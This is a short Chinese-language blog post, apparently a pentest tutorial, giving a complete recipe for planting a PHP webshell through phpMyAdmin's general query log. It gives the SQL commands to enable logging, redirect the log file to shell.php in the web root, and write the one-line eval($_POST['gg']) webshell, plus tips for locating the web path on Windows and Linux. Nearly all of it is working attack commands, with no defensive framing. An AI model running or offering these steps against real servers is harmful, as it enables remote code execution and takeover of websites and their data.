phpMyadmin日志写入webshell

Posted 2021-07-01 Paper_airplane

前提

1.可登录phpmyadmin
2.root权限
3.知道网站绝对路径

步骤

1.查看日志是否开启

show variables like \'%general%\';

2.开启日志记录

SET GLOBAL general_log=\'on\';

3.修复日志文件路径

set global general_log_file=\'D:\\\\phpStudy\\\\WWW\\\\shell.php\';

4.写入webshell

select "<?php eval($_POST[\'gg\']);?>";

网站路径判断

如果是Windows，判断是不是phpStudy集成环境，可通过mysql的位置尝试定位网站位置(使用sql语句定位mysql位置：select @@datadir;)
如果是Linux，一般实在/var/www/html路径下